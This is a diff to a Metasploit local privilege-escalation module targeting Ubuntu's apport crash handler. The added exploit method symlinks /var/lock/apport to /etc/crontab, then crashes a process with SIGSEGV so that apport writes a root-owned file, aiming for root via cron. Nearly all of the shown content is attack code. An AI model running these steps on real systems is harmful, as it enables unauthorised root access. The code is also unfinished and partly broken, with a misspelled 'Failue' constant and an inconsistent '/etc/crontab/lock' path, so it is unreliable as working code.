@@ -3,6 +3,8 @@ class MetasploitModule < Msf::Exploit::Local
3
3
Rank = NormalRanking
4
4
5
5
include Msf ::Post ::Linux ::System
6
+ include Msf ::Post ::File
7
+ include Msf ::Post ::File ::FileStat
6
8
7
9
# TODO get exact apport version after setting up a test environment
8
10
# TODO targets in the initialize method and how they work
@@ -49,9 +51,6 @@ def initialize(info = {})
49
51
'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ]
50
52
} ,
51
53
)
52
- register_options [
53
- OptString . new ( 'Cron Name' , [ true , 'Name of the Crontab file' , Rex ::Text . rand_text_alpha ( rand ( 8 ..12 ) ) ] )
54
- ]
55
54
)
56
55
end
57
56
@@ -93,8 +92,21 @@ def check
93
92
end
94
93
95
94
def exploit
96
- # Methods for
97
- # symlinking /var/lock/apport to /etc/crontab
95
+ # Create symlink
96
+ # TODO error handling here, perhaps try and catch statement
97
+ # might need to change linked directory
98
+ cmd_exec 'ln -s /etc/crontab /var/lock/apport'
99
+
100
+ # Crash with segfault to trigger apport
101
+ cmd_exec 'sleep 10s & kill -11 $!'
102
+
103
+ # need method for seeing if file is owned by root and combine with and gate
104
+ # if uid method does not work remove Msf::Post::File::FileStat
105
+ if !writable? ( '/etc/crontab/lock' ) || uid ( '/etc/crontab/lock' ) != 0
106
+ fail_with ( Failue ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
107
+ end
108
+
109
+
98
110
# Touching a file to this
99
111
# verifying the permissions on the file (root ownership)
100
112
# writing payloads
0 commit comments